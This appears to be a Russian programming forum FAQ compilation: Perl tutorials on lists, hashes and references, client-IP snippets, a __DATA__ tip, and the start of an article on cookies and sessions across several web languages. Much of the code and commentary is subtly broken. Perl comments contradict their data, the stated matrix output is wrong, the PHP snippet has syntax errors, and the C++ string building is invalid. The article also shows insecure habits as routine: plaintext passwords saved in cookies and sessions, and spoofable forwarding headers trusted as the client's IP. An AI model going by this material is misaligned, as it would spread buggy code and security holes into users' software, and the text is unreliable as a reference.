                                $var=\@var; # создаётся скаляр $var со ссылкой на массив @var
                                $var=\(1..4); # ! тоже создаётся ссылка, но на безымянный массив


                          Длину списка можно измерить так:
                          ExpandedWrap disabled
                             
                                $len=$#var+1; # это уже знаем
                                $len=@var; # здесь затрагивается тема про контексты, и про это тоже позже.
                                # Список в скалярном контексте возвращает свою длину - число


                          Хэш-массивы:

                          В Perl хэш-массив - это список, состоящий из двух частей: ключ и соответствующее ему значение.
                          Пример:
                          ExpandedWrap disabled
                            %var=(
                                    key1=>'val1',
                                        # если ключ состоит только из цифр, латинских букв и символов "_",
                                        # кавычки в названии можно не указывать
                                    'key2'=>$val2,
                                    key3, "val3"
                            );


                          Получить элемент хэш-массива по ключу:
                          ExpandedWrap disabled
                             
                                %var=('blue', 'Чёрный', 'red', 'Красный', 'green', 'Зелёный');
                                $blue=$var{blue};
                                    # создаётся переменная-скаляр "blue" со значением "Синий"
                                $redref=\$var{red};
                                    # создаётся переменная-ссылка "redref" на содержимое "Красный"


                          Получить часть хэш-массива по ключам:
                          ExpandedWrap disabled
                             
                                %var=('blue'=>'Чёрный', 'red'=>'Красный', 'green'=>'Зелёный');
                                @rgb=@var{'red', 'green', 'blue'};
                                    # создаётся переменная-список @black
                                    # со значением ('Красный', 'Зелёный', 'Синий')
                                @rgbnames=('red', 'green', 'blue');
                                @rgbref=\(@var{@rgbnames});
                                    # создаётся переменная-список ссылок $rgbref
                                    # на безымянный массив на значения под ключами @rgbnames
                                    # хэш-массива %var
                                    # типа: @rgbref=(\'Красный', \'Зелёный', \'Синий')


                          Списки преобразовываются в хэш-массивы и обратно:
                          ExpandedWrap disabled
                             
                                @var=('black', 'Чёрный', 'red', 'Красный', 'green', 'Зелёный');
                                %var=@var;
                                    # образуется хэш-массив типа:
                                    # %var=(
                                    #   black=>'Чёрный',
                                    #   red=>'Красный',
                                    #   green=>'Зелёный'
                                    # );
                                @var=%var;
                                    # получается исходный список
                                    # @var=('black', 'Чёрный', 'red', 'Красный', 'green', 'Зелёный');


                          Указатели из таблицы символов переменных
                          Непосредственно с таблицей символов Perl часто работать, думаю, не придётся. Эта таблица хранит имена переменных и необходимую для управления ими информацию (тип, адрес в памяти, счётчик ссылок, и т.д.). Если в таблице символов нет записи о переменной - она не существует.
                          Чаще всего, переменные этого типа создаются пользователем как файловые указатели. Об этом тоже позже. Думаю, в статье "Ввод и вывод".

                          Примеры:
                          ExpandedWrap disabled
                            *STDIN, *::STDOUT, *'STDERR;





                          В следующих статьях: Разименование, Ввод-вывод и др.
                          Сообщение отредактировано: Tishaishii -
                            Не описанные особенности из предыдущей статьи

                            Это из-за гибкости синтаксиса языка. Думаю, на этот раз все случаи тоже описать не удастся. Слишком уж много вариантов.
                            • Ссылки на безымянные списки
                            • Простые махинации со списками
                            • Ссылки на безымянные хэш-массивы и махинации со списками

                            Ссылки на безымянные списки и на хэш-массивы

                            * Массивом буду называть ссылку на список

                            В прошлой статье я так и не объяснил как создать подобие матрицы.
                            Исправляюсь. Матрица 3 x 4:
                            ExpandedWrap disabled
                               
                                  @matrix=(
                                      (1, 2, 3, 4),
                                      ('a'..'d'),
                                      (5..8)
                                  );
                               
                                  # Получаем всю третью строчку:
                                  $row3=$matrix[2];
                                  # или $row3=$matrix[-1];
                                  # в $row3 записано (5..8)
                               
                                  # Получаем всю вторую строчку:
                                  $row2=$matrix[1];
                                  # или $row3=$matrix[-2];
                                  # в $row2 записано ('a'..'d')
                               
                                  # Получаем всю первую строчку:
                                  $row1=$matrix[0];
                                  # или $row3=$matrix[-3];
                                  # в $row1 записано (1, 2, 3, 4)
                               
                                  # Всё прекрасно получается.
                                  # Проверка:
                                  print $row1, ', ', $row2, ', ', $row3, "\n";
                                  # На перёд, print - функция вывода.
                                  # Получает список аргументов и распечатывает их содержимое в
                                  # стандартный поток вывода (но не только, объясню в статье "Ввод\Вывод")
                               
                                  # Итак, вывод:
                               
                                  1, 2, 3
                               
                                  # Всё прекрасно получается.


                            Простые махинации со списками
                            Напоминаю: спискив Perl состоят из скаляров и только из скаляров. Сейчас попробую объяснить почему.

                            * Конкатенация списков - объединение. Из множества элементов списков создаётся новый список, содержащий все элементы объединённых списков с повторами.

                            Примеры объединения списков:
                            ExpandedWrap disabled
                               
                                  @var1=(1..4);
                                  @var2=('k'..'n');
                                  @var3=(@var1, @var2);
                                  # или
                                  @var3=((1..4), ('k'..'n'));
                                  # или
                                  @var3=(1..4, 'k'..'n');
                                  # теперь в @var3 находится (1, 2, 3, 4, 'k', 'l', 'm', 'n')
                               
                                  @var4=(((((((1)))))),(2));
                                  # @var4=(1, 2);
                               
                                  @var5=@var1, @var2;
                                  # @var5=1..4;


                            Объединение списков со списками равносильно созданию нового списка из скалярных элементов списков.

                            Примеры объединения списков и скаляров:
                            ExpandedWrap disabled
                               
                                  $var1=1;
                                  @var1=('1'..'4');
                                  @var2=(@var1, $var1);
                                  # @var2=('1', '2', '3', '4', 1);
                                  ($var1, $var2, $var3)=(1, 2, 3);
                                  @var3=($var2, $var3, @var2, $var1);
                                  # @var3=(2, 3, '1', '2', '3', '4', 1, 1);


                            Теперь, думаю, понятно, почему сразу не получилось создать матрицу. Вместо матрицы получился список с 3*4=12 элементами.

                            И ещё одна особенность, уже из темы "Контекст"

                            ExpandedWrap disabled
                               
                                  ($a, $b, @var)=(1..4);
                                  # $a=1; $b=2; @var=(3, 4);
                                  (@a, $b, @c)=(4..8);
                                  # @a=(4, 5, 6, 7, 8); $b=undef; @c=();
                                  ($a, $b, %c)=(1, 2, key1=>'a', key2=>'b');
                                  # $a=1; $b=2; %c=(key1=>'a', key2=>'b');


                            Создаём матрицу:
                            ExpandedWrap disabled
                               
                                  $row1=\(1..4);
                                  $row2=\('1'..'4');
                                  $row3=\('a'..'d');
                               
                                  @matrix=(
                                      $row1,
                                      $row2,
                                      $row3
                                  );
                               
                                  # Создали промежуточные бесполезные переменные $row1, $row2, $row3
                                  # Можно записать ещё так:
                               
                                  @matrix=(
                                      \(1..4),
                                      \('1'..'4'),
                                      \('a'..'d')
                                  );
                               
                                  # А можно ещё короче:
                               
                                  @matrix=(
                                      [1..4],
                                      ['1'..'4'],
                                      ['a'..'d']
                                  );
                                  $array_ref=[1..4];
                                  # ссылка на список (1, 2, 3, 4)
                                  # список @matrix состоит только из скаляров, однако содержит скалярные же ссылки на другие списки.


                            Список в квадратных скобках - это ссылка на список.
                            Как получить доступ к элементам матрицы скажу позже.

                            Ссылка на безымянный хэш-массив

                            Сначала, о преобразовании списков в хэш-массивы и обратно.

                            ExpandedWrap disabled
                               
                                  @var1=(
                                      key1=>'val1',
                                      key2=>'val2',
                                      key3=>'val3'
                                  );
                                  %var1=@var1;
                                  @var1=%var1;


                            У меня получилось, что в @var1 теперь содержится
                            ExpandedWrap disabled
                               
                                  @var1=(key1, 'val1', key2, 'val2', key3, 'val3')

                            На такое везение полагаться вовсе не стоит, т.к. в хэш-массивах данные хранятся не в прямом а в некотором "оптимальном" для оперирования порядке. Важно, что при прямом и обратном преобразовании сохраняются все элементы списка. С помощью преобразования в хэш-массив и обратно можно избавляться от одинаковых элементов в списке, т.к. ключи у хэш-массивов не могут быть одинаковыми.
                            ExpandedWrap disabled
                               
                                  @var=('a', 'b', 'a', 2, 'c', 'c', 'd');
                                  %var=@var;
                                  @var=%var;
                               
                                  # теперь в @var содержится что-то вроде ('a', '2', 'c', 'c', 'd', undef), но не именно в том самом порядке, элементы в хэш-массиве хранятся в любом "удобном" для оперирования порядке!


                            Теперь уже традициионное, создание двухмерной матрицы из хэш-массивов:
                            ExpandedWrap disabled
                               
                                  $row1=\(1=>'a', 'a'=>1);
                                  # для задания ссылки на строку-хэш-массив используется соответствующий стиль.
                                  # однако, это ещё одни на первых порах часто встречающиеся грабли. На самом деле,
                                  # $row1 теперь содержит ссылку на список.
                                  # Вот как можно сделать:
                                  %row1=(1=>'a', 'a', 1);
                                  # стиль задания элементов списка или хэш-массива вообще ни на что кроме читабельности не влияет. В обоих случаях можно беспорядочно использовать оба варианта ("," или "=>").
                                  $row1=\%row1;
                                  %row2=(2, 'b', 'b', 2);
                                  %matrix=(
                                      row1=>$row1,
                                      row2=>\%row2,
                                      # а можно так:
                                      row3=>{
                                          3=>'c',
                                          4=>'d'
                                      }
                                  );


                            Список в фигурных скобках - это ссылка на хэш-массив.
                            Как получить доступ к элементам матрицы скажу позже.




                            Это не было трудно, но из таких простых элементов строятся любые струтуры.
                            Чуть-чуть ещё.
                              Как определить IP-адрес клиента?

                              Автор: Mastilior и Budda

                              PHP
                              ExpandedWrap disabled
                                $ip = $_SERVER["HTTP_CLIENT_IP"];
                                if (empty($ip)) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]);
                                if (empty($ip)) $ip = $_SERVER["REMOTE_ADDR"]);


                              Perl
                              ExpandedWrap disabled
                                my $IPAddr1 = $ENV{'HTTP_CLIENT_IP'};
                                if ($IPAddr1 eq "") { $IPAddr1 = $ENV{'REMOTE_ADDR'}; }
                                 
                                my $IPAddr2 = "";
                                if ($ENV{'HTTP_X_FORWARDED_FOR'})
                                 {
                                 $IPAddr2 = $IPAddr1;
                                 $IPAddr1 = $ENV{'HTTP_X_FORWARDED_FOR'};
                                 }


                              JavaScript (серверный!)
                              ExpandedWrap disabled
                                var ip = ssjs_getCGIVariable("REMOTEADDR");
                                write(ip);


                              JavaScript (клиентский)
                              Невозможно! Клиентский JavaScript - это язык скриптов, которые выполняются на машине пользователя.
                                Как записать большой текстовый блок в программу на Perl?

                                ...а потом ещё и прочитать его?


                                Автор: Tishaishii

                                ExpandedWrap disabled
                                  package Текущий_Пакет;
                                  #...............................
                                   
                                  print while <Текущий_Пакет::DATA>;
                                  #или
                                  open DATA, '<&Текущий_Пакет::DATA';
                                  # копирование ссылки на "Текущий_Пакет::DATA" через функцию "open"
                                     print while <DATA>;
                                  close DATA;
                                  #...............................
                                  +1;
                                   
                                  #конец программы
                                  __DATA__
                                  Вот тут можно написать
                                      много всякого-разного и засунуть сюда
                                     огромный текстовый блок
                                  Cookies, Sessions, Security
                                  Все, что вы хотели бы знать об управлении пользовательскими сеансами.


                                  Авторы: Tishaishii (сессии в Perl), Trustmaster (все остальное).

                                  Вашему вниманию предоставляется статья об управлении пользовательскими сеансами, состоящая из трех частей. В ней мы постарались рассказать о всех сторонах использование сессий и cookies. Представлена как общая информация, так и для конкретных языков программирования.

                                  1. Cookies.

                                  Для слова cookies в данном констекте нет однозначного перевода. Кто-то называет их печеньями, кто-то плюшками, кто-то куками, а кто-то оставляет как есть. На самом деле, название cookie, присвоенное этой технологии программистами, которые стали ей пользоваться, пошло от жаргонного "magic cookie", что переводится как "магический сигнал". Так назывались сигналы, посылаемые друг другу параллельными процессами для синхронизации действий.

                                  В среде же веб-программирования cookies стали первым способом сохранения состояния. До этого скрипт не мог "запомнить" посетителя, или же приходилось каждый раз передавать целую кучу переменных состояния при помощи стандартных методов GET и POST. Разработанные Netscape, cookies позволили сохранять данные на стороне клиента, и броузер передавал их скрипту автоматически. Теперь cookies стали стандартом де-факто, и функции для работы с ними есть в каждом языке веб-программирования как на серверной, так и на клиентской стороне. Начнем со второй.

                                  1.1. Клиентская часть.

                                  1.1.1. Протокол.

                                  Каждый броузер имеет свои особенности в хранении cookies. Большинство хранят их в виде текстовых файлов в различных директориях. Но нас интересует то, как же броузер передает эти данные.

                                  Как мы знаем, в основе протокола HTTP лежит диалог между клиентом и вебсервером, заключающайся в запросах (Request) и ответах (Response). Для того, чтобы передать данные cookie скрипту, в запросе броузер отправляет следующий заголовок (request header):
                                  Цитата
                                  Cookie: name1=value1; name2=value2; name3=value3

                                  При этом имена и значения переменных, содержащие символы, отличные от букв латинского алфавита и знака подчеркивания, должны быть закодированы методом urlencode.

                                  Скажем, если бы мы писали HTTP клиент, то передать значения cookie серверу можно таким образом:

                                  Листинг 1.1.1, C++ (MFC):
                                  ExpandedWrap disabled
                                    // Не важно, как мы прочитали из файла переменные name1, name2, value1, value2
                                    // Будем использовать класс CHttpBlockingSocket для соединения с сервером
                                    CHttpBlockingSocket client;
                                    // Строка запроса
                                    char request[] = "GET /cgi-bin/cookie_test.cgi HTTP/1.0\r\n";
                                    // Заголовки запроса (request headers), обратите внимание на Cookie
                                    char headers[] = "User-Agent: Cookie Tester/1.0.0\r\n"
                                     "Accept: */*\r\n"
                                     "Cookie: " + name1 + "=" + value1 + "; " + name2+ "=" + value2 + "\r\n"
                                     "\r\n";
                                    CSockAddr server_addr;
                                    // Создаем объект и соединяемся с сервером
                                    client.Create();
                                    server_addr = CBlockingSocket::GetHostByName("domain.com", 80);
                                    client.Connect(server_addr);
                                    // Передаем запрос и заголовки
                                    client.Write(request, strlen(request), 10);
                                    client.Write(headers, strlen(headers), 10);
                                    // Ответы сервера прочитаем в строковый буфер
                                    char buffer[];
                                    int bytes_read = 0;
                                    do
                                    {
                                        bytes_read = client.ReadHttpHeaderLine(buffer, 100, 10);
                                    }
                                    while(strcmp(buffer, "\r\n"));
                                    bytes_read = client.ReadHttpResponse(buffer, 100, 10);
                                    // Закрываем соединение
                                    client.Close();


                                  1.1.2. Ограничения.

                                  Со стороны броузера существуют определенные ограничения:
                                  • Клиент может получить и сохранить не более 300 плюшек.
                                  • Размер каждого печенья не должен превышать 4 КБ, при этом на пару "имя и значение" действует такой же ограничение. То есть, если размер имени и значения переменной достигает 4 КБ, то она "займет" все печенье.
                                  • Броузер хранит не более 20 печений с одного и того же домена.
                                  1.2. Серверная часть.

                                  Задача серверного скрипта заключается в создании, использовании и изменении печений. Ведь именно скриптом и для скрипта сохраняется сеанс. В этой главе мы сначала изучим протокол создания/изменения/удаления cookies, а потом узнаем, откуда скрипт их читает.

                                  1.2.1. Протокол работы с cookies.

                                  Этот материал может показаться вам неинтересным, но зная его, вы легко сможете понять впоследствии что означает каждое слово. Итак, для создания cookie, как можно догадаться, используется специальный заголовок ответа (response header). Полный его синтаксис выглядит так:
                                  Цитата
                                  Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME; secure


                                  Разберем его по частям:

                                  NAME=VALUE - это переменная и ее значение, которые мы задаем данным заголовком. Они должны быть закодированы методом urlencode. У вас, наверно, возник вопрос: "А что же это за метод такой"? Метод urlencode заключается в замене всех символов в строке, кроме латинского алфавита и знака подчеркивания, их эквивалентом в таблице ASCII в шестнадцатеричном представлении с приставкой "%" перед кодом. Исключение - пробел, он заменяется знаком "+".

                                  expires=DATE - задает время истечения срока годности данного cookie, когда он будет удален. Если этот параметр не задан, то cookie будет удален сразу после завершения выполнения этого скрипта. Формат даты следующий:
                                  Цитата
                                  Wdy, DD-Mon-YYYY HH:MM:SS GMT

                                  К примеру, можно задать дату заведомо в будущем, чтобы с этим cookie можно было спокойно работать:
                                  Цитата
                                  Mon, 01-Jan-2020 12:00:00 GMT


                                  path=PATH - задает путь на сервере, скрипты из которого имеют доступ к данной плюшке. Чаще всего, задают корневую директорию вебсервера, то есть "path=/;". Но можно, например, задать папку cgi-bin или особенный путь:
                                  Цитата
                                  Set-Cookie: pass=secret; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/secret/top_secret; domain=secret.domain.com


                                  domain=DOMAIN_NAME - задает доменное имя, скрипты с которого имеют доступ к данному печенью. Если параметр не задан, то домен может быть любым.

                                  secure - этот флаг сообщает, что данное печенье может быть использовано только при работе по безопасному протоколу HTTPS.

                                  Для того, чтобы задать несколько переменных, нужно послать несколько заголовков Set-Cookie:
                                  Цитата
                                  Set-Cookie: foo=some_value; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/
                                  Set-Cookie: bar=another_value; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/


                                  Для того, чтобы изменить значение переменной, вы посылаете новый заголовок с именем этой переменной и ее новым значением. Если значение expires поставить в прошлом, то переменная будет удалена:
                                  Цитата
                                  Set-Cookie: foo=; expires=Mon, 01-Jan-2000 12:00:00 GMT; path=/


                                  Имейте ввиду, что для изменения/удаления cookies параметры path и domain имеют большое значение: скажем, если вы зададите две переменные с одним именем, но для разных путей, то это будут совсем разные переменные. Поэтому при удалении придется использовать те же параметры.

                                  1.2.2. Откуда скрипт берет данные.

                                  Когда броузер посылает серверу заголовок запроса, то обращение происходит не напрямую к скрипту. Как же тогда он получает данные? Вебсервер создает специальную переменную окружения, в которой он сохраняет данные плюшки в том виде, в каком он их получил (var1=value1; var2=value2 и т.д.). Мы можем прочитать эту переменную при помощи соответствующей функции. В качестве примера, напишем функцию на PHP, которая будет возвращать массив, содержащий данные cookie (фактически, мы напишем замену стандартному механизму PHP, сохраняющему эти данные в переменной $_COOKIE).

                                  Листинг 1.2.2, PHP:
                                  ExpandedWrap disabled
                                    <?php
                                    // Эта функция считывает cookies в массив
                                    function dump_cookie()
                                    {
                                        // Создаем временную переменную
                                        $result = Array();
                                        // Копируем содержимое переменной окружения в строку
                                        $content = getenv('HTTP_COOKIE');
                                        // Парсинг строки в цикле
                                        $temp = '';
                                        $key = '';
                                        $i = 0;
                                        while($i < strlen($content))
                                        {
                                      if($content[$i] == '=')
                                      {
                                       $key = urldecode($temp);
                                       $temp = '';
                                      }
                                      elseif($content[$i] == ';')
                                      {
                                       $result[$key] = urldecode($temp);
                                       $temp = '';
                                       // После точки с запятой идет пробел!
                                       $i++;
                                      }
                                      else $temp .= $content[$i];
                                      $i++;
                                        }
                                        // Последнюю пару значений заполняем "вручную"
                                        if(!empty($key)) $result[$key] = urldecode($temp);
                                        // Готово
                                        return $result;
                                    }
                                     
                                    // Сохраняем cookies в переменной
                                    $my_cookies = dump_cookie();
                                    // Смотрим, что же нам передали
                                    echo '<pre>';
                                    print_r($my_cookies);
                                    echo '</pre>';
                                    ?>


                                  1.3. С миру по плюшке!

                                  Теперь, когда вы знаете протокол от и до, самое время разобраться с тем, как же можно работать cookies на различных языках/технологиях веб-программирования.

                                  1.3.1. JavaScript.

                                  На JavaScript получить доступ к cookies со стороны броузера можно при помощи свойства cookie объекта document.

                                  Вы можете прочитать все печенья, заданные для данной страницы, из переменной document.cookie. Простейший способ это сделать:
                                  ExpandedWrap disabled
                                    alert('document.cookie');


                                  В результате мы получим в новом окне переменные и их значения в закодированном (urlencode) виде, разделенные точкой с запятой (как и в заголовке запроса). Тот же результат, кстати, можно получить просто зайдя на нужную страницу и введя в строке адреса
                                  Цитата
                                  javascript: alert(document.cookie)


                                  Вы можете также изменять текущие cookies документа. Следующий код добавит новую пару переменных в плюшку и перезагрузит страницу.

                                  Листинг 1.3.1.1, JavaScript:
                                  ExpandedWrap disabled
                                    document.cookie += '; foo=bar';
                                    location = '/cgi-bin/cookie_test.cgi';


                                  Такого рода изменения оказывают влияние только на текущую страницу, не сохраняя измененные данные в файле cookie на жестком диске пользователя. Но это еще не все. JavaScript может записывать cookie таким же образом, как это делают серверные скрипты: то есть создавать, изменять и удалять cookies на жеском диске пользователя. Для этого нужно присвоить document.cookie новое значение, используя протокол Cookie Response Header. В качестве примера создадим cookie, который устареет через месяц. В параметре expires используется время в формате UNIX.

                                  Листинг 1.3.1.2, JavaScript:
                                  ExpandedWrap disabled
                                    var expr = new Date();
                                    var inAWeek = expr.getTime() + (1000 * 3600 * 24 * 30);
                                    expr.setTime(inAWeek);
                                    document.cookie = 'var_name=some_value; expires=' + expr.toGMTString();


                                  По аналогии, для изменения этого cookie нам потребуется вызвать тот же код, но с новым значением переменной, или же задать значение expires в прошлом, если мы хотим удалить переменную.

                                  1.3.2. PHP.

                                  PHP автоматически получает все cookies, декодирует их, и сохраняет в суперглобальном (доступном в любой области видимости) ассоциативном массиве $_COOKIE, где индекс массива - имя переменной, а значения элемента, соответственно, равно значению этой переменной. Также если в php.ini включена директива register_globals, то PHP создаст глобальные переменные, эквивалентные полученным плюшкам.

                                  Допустим, скрипту нужно прочитать из плюшки имя пользователя, пароль и идентификатор и передать их некой функции login().

                                  Листинг 1.3.2.1, PHP:
                                  ExpandedWrap disabled
                                    // Если register_globals = On, то эти строчки можно удалить
                                    $id = $_COOKIE['id'];
                                    $name = $_COOKIE['name'];
                                    $password = $_COOKIE['password'];
                                    // Конец кода для register_globals = Off.
                                    // Теперь над этими переменными можно произвести какие-то действия
                                    $user = login($id, $name, $password);


                                  Конечно, этот пример можно было бы написать в одну строчку, но этот вариант яснее. Еще имейте ввиду, что массив $_COOKIE доступен только для чтения, так что если вы хотите изменять значения полученных переменных, то придется скопировать их в обычные переменные (как сделано в этом примере).

                                  Для записи/изменения/удаления cookies в PHP имеется одна единственная функция setcookie(). Ее прототип выглядит так:
                                  ExpandedWrap disabled
                                    int setcookie(string name [, string value [, int expire [, string path [, string domain [, int secure]]]]]);

                                  Фактически, эта функция обабатывает имя и значение (name, value) функцией urlencode(), переводит expire в нужный формат и отсылает заголовок ответа (response header) аналогично функции header(). С аргументами name и value все ясно, а вот expire принимает время истечения срока годности данного cookie в формате UNIX (целое число). path и domain указывают путь на сервере и доменной имя (см. гл. 1.2.1), а в secure передается единица, если используется исключительно протокол HTTPS.

                                  К примеру, у нас есть идентификатор, логин и пароль пользователя, которые мы хотим сохранить в плюшке сроком на месяц.

                                  Листинг 1.3.2.2, PHP:
                                  ExpandedWrap disabled
                                    $expr = time() + (3600 * 24 * 30);
                                    setcookie('id', $id, $expr);
                                    setcookie('name', $name, $expr);
                                    setcookie('password', $password, $expr);


                                  Для того, чтобы удалить эти переменные, нам понадобится следующий код:

                                  Листинг 1.3.2.3, PHP:
                                  ExpandedWrap disabled
                                    setcookie('id', '', time() - 60);
                                    setcookie('name', '', time() - 60);
                                    setcookie('password', '', time() - 60);


                                  Имейте ввиду, что вызовы функций header() и setcookie() ВСЕГДА ДОЛЖНЫ ИДТИ ДО ВЫВОДА, то есть вызовов print, echo и любой функции, которая затрагивает стандартный поток вывода. Ошибка "headers already sent" возникает именно по той причине, что мы пытаемся задать cookie (или же послать другой заголовок) после того, как заголовки уже посланы и PHP ожидает содержимое документа.

                                  1.3.3. Pascal Server Pages.

                                  PSP принимает все переменные cookies автоматически и сохраняет их так же, как и любые CGI переменные. Получить к ним доступ можно, например, так:

                                  Листинг 1.3.3.1, Pascal (PSP):
                                  ExpandedWrap disabled
                                    {$H+}{$MODE OBJFPC}
                                    program cookie_test;
                                    { ... код ... }
                                    var login, password: string;
                                        id: longint;
                                    { ... код ... }
                                    begin
                                        login := Web_GetVar('login');
                                        password := Web_GetVar('password');
                                        id := longint(Web_GetVar('id'));
                                        { ... код ... }
                                    end.


                                  У PSP есть одно досадное ограничение, унаследованное от FPC модуля dos: суммарная длина всех cookies (имена и значения в закодированном виде) ограничена 256 символами. Поэтому множество переменных хранить в плюшках не получится (для этого, в общем-то, существуют сессии, см. гл. 2).

                                  Для PSP действует все то же правило: функции для работы с cookies должны вызываться до начала вывода, а точнее - до вызова Web_Header().

                                  Чтобы задать плюшку нужно использовать одну из перегруженных функций Web_SetCookie(), вот их прототипы:
                                  ExpandedWrap disabled
                                    procedure Web_SetCookie(name, value: string);
                                    procedure Web_SetCookie(name, value, path, domain, expires: string);

                                  Первая функция создаст новую плюшку с именем переменной name и значением value (url-кодирование вызывается автоматически), параметры expires и path задаются по умолчанию (1 января 2020 и /cgi-bin соответственно). Второй вариант используется если вам нужно установить конкретные значения дополнительных параметров. К примеру, зададим пару печений.

                                  Листинг 1.3.3.2, Pascal (PSP)
                                  ExpandedWrap disabled
                                    {$H+}{$MODE OBJFPC}
                                    program cookies;
                                    uses web;
                                     
                                    begin
                                        Web_SetCookie('foo', 'Почему бы не по-русски?');
                                        Web_SetCookie('bar', 'Custom values...', '/cgi-bin/secret', 'secret.domain', 'Sat, 02-Oct-2004 22:00:00 GMT');
                                        Web_Header(); // Теперь пойдет содержимое страницы
                                        writeln('<h1>Cookies are set!</h1>');
                                    end.


                                  Для удаления cookies имеется также 2 варианта функции Web_DeleteCookie(). Их прототипы:
                                  ExpandedWrap disabled
                                    procedure Web_DeleteCookie(name: string);
                                    procedure Web_DeleteCookie(name, path, domain: string);

                                  Первый вариант удаляет переменную с заданным именем. Но если нужная переменная была задана с определенным параметром path и domain, то нужно воспользоваться вторым вариантом этой функции с теми же значениями пути и имени домена. Удалим плюшки, созданные в листинге 1.3.3.2.

                                  Листинг 1.3.3.3, Pascal (PSP):
                                  ExpandedWrap disabled
                                    {$H+}{$MODE OBJFPC}
                                    program cookies;
                                    uses web;
                                     
                                    begin
                                        Web_DeleteCookie('foo');
                                        Web_DeleteCookie('bar', '/cgi-bin/secret', 'secret.domain');
                                        Web_Header(); // Теперь пойдет содержимое страницы
                                        writeln('<h1>Cookies are removed!</h1>');
                                    end.

                                  Прикреплённый файлПрикреплённый файлcookie_files.zip (6.97 Кбайт, скачиваний: 718)
                                    2. Sessions.

                                    Как бы ни были удобны cookies, но все же у них есть множество недостатков. Во-первых, это встроенные ограничения. Во-вторых, слабая защищенность (см. гл. 3). В-третьих, они не позволяют полностью контролировать сеанс пользователя. Поэтому следующей ступенью в управлении пользовательскими сеансами являются сессии.

                                    Каждый язык, предоставляющий возможность использования сессий имеет свои особенности реализации процесса. Данные сессий могут храниться во временных файлах на жестком диске сервера, в структурированных электронных таблицах или же в реляционных базах данных. При этом для того, чтобы серверный скрипт "узнал своего клиента" используются идентификаторы сессий, передаваемые как обычная GET/POST переменная или задаваемая в Cookie.

                                    Итак, от общих деталей пришла пора переходить к конкретным реализациям.

                                    2.1. ASP.

                                    В ASP управление техническими деталями сессий ложится на плечи Microsoft IIS (Internet Information Service). Для передачи идентификатора сессии используется cookie. Пользовательская сессия стартует автоматически при обращении пользователя к любому ASP-скрипту. Сигналом к завершению сессии служит отсутствие какой-либо активности со стороны пользователя в течении 20 минут.

                                    Для управления текущей сессией ASP создает объект Session. Для того, чтобы записать переменную в текущий сеанс, нужно использовать следующий синтаксис:
                                    ExpandedWrap disabled
                                      Session("var_name") = var_name


                                    Давайте сохраним данные, полученные от HTML формы, в сессии.

                                    Листинг 2.1.1, ASP:
                                    ExpandedWrap disabled
                                      <%
                                      login = Request("login")
                                      password  = Request("password")
                                      Session("login") = login
                                      Session("password") = password
                                      %>


                                    Этот пример можно было бы написать в 2 строчки, но так нагляднее. Для того, чтобы получить переменную текущего сеанса, нужно использовать следующий синтаксис:
                                    ExpandedWrap disabled
                                      var_name = Session("var_name")


                                    Следовательно, для того, чтобы получить логин и пароль после выполнения скрипта из предыдущего листинга, можно использовать этот пример.

                                    Листинг 2.1.2, ASP:
                                    ExpandedWrap disabled
                                      <%
                                      login = Session("login")
                                      password = Session("password")
                                      %>


                                    Кроме того, в ASP существует объект Application, существующий в единственном экземпляре, но доступный из любого приложения. Его можно использовать совершенно таким же образом, как и Session. Давайте напишем в глобальную переменную log о своем присутствии.

                                    Листинг 2.1.3, ASP:
                                    ExpandedWrap disabled
                                      <%
                                      log = Application("log")
                                      log = log & " [ One more instance of this app working ! ]"
                                      Application("log") = log
                                      %>


                                    Как видите, сессии в ASP крайне просты в использовании.

                                    2.2. Perl.
                                    Автор: Tishaishii

                                    2.2.1. Основной алгоритм.
                                    • Клиент впервые пользуется вашими услугами;
                                    • Вы получаете возможный максимум информации о нём, однозначно его идентифицируете;
                                    • В следующий раз, когда тот же клиент снова к вам обратится, его можно будет опознать по ранее установленному идентификатору и вспомнить информацию именно об этом клиенте, полученную в первый и последующие его визиты.
                                    Для идентификации клиента используется, естественно, клиентский идентификатор. Он выдаётся клиенту при создании сессии, и он же служит ключом к хранилищу информации о нём на другой стороне. Т.е. зная этот идентификатор, можно однозначно определить расположение сохранённой информации о соответствующем клиенте.

                                    Теперь про HTTP. Клиент хранит свой идентификатор разными доступными ему способами:
                                    • В зашифрованном файле (cookie)
                                    • В истории запросов
                                    В любом случае, получает он этот ключ через HTTP-заголовки и, как правило, предъявляет ключ тоже через них (специальные поля HTTP-заголовка или в URL после знака "?"), возможно, в теле запроса.

                                    Сервер же, может сохранять информацию о пользователе:
                                    • В базе данных
                                    • В структурированных файлах (сериализация)
                                    • Самый удобный способ - в оперативке. Об этом говорить не стану
                                    • Получать все данные от пользователя (удобно, но очень небезопасно)
                                    Теперь переходим непосредственно к Perl.

                                    2.2.2. Сессии собственными руками.

                                    Что-то я говорил про сериализацию.
                                    Сериализация позволяет преобразовывать структуры данных из их внутреннего представления в среде реализации в сохраняемый и не зависящый от среды реализации формат.

                                    Для этих вот целей можно самому разработать много всяких вариантов.
                                    Например, поставлена задача сериализовать простую структуру и данные постоянно будут храниться в файле. А "простая структура" вроде:

                                    Листинг 2.2.2.1, структурированный файл:
                                    ExpandedWrap disabled
                                      %клиент={
                                             идентификатор=>1799,
                                              вес=>'10 кило',
                                           мука=>'15%',
                                              сахар=>'нет',
                                             'получает
                                       в
                                               год'=><<'...Информация...'};
                                                         Да,
                                        он получает
                                           в год
                                      ...Информация...


                                    Ключ, как и соответствующее ему значение может состоять из любых символов.
                                    Не стану рассматривать все варианты записи такой структуры. Покажу, только, вариант, которым чаще всего пользуюсь в таких случаях. Кодирование:

                                    Листинг 2.2.2.2, Perl:
                                    ExpandedWrap disabled
                                      package Client;
                                      use locale;
                                      use MD5;
                                       
                                      sub Client::reset{
                                          -f&&-M>1 ? unlink : undef while <${+\+directory}/*>
                                      }
                                       
                                      sub encode{ # преобразование сивола в шестнадцатеричное целое 0x0<=число<0x100
                                        my$str=shift;
                                         $str=~s~(\W)~sprintf'%02X',ord$1~geos;
                                        +$str
                                      }
                                       
                                      sub decode{ # обратное encode преобразование
                                        my$str=shift;
                                         $str=~s~%([a-f\d]{2})~+chr hex$1~geoi;
                                        +$str
                                      }
                                       
                                      sub keyval_enc{ # возвращает сериализованную строку
                                         +&encode(+shift)."\t".&encode(+shift)."\n"
                                      }
                                       
                                      sub keyval_dec{ # возвращает декодированную в две переменные строку
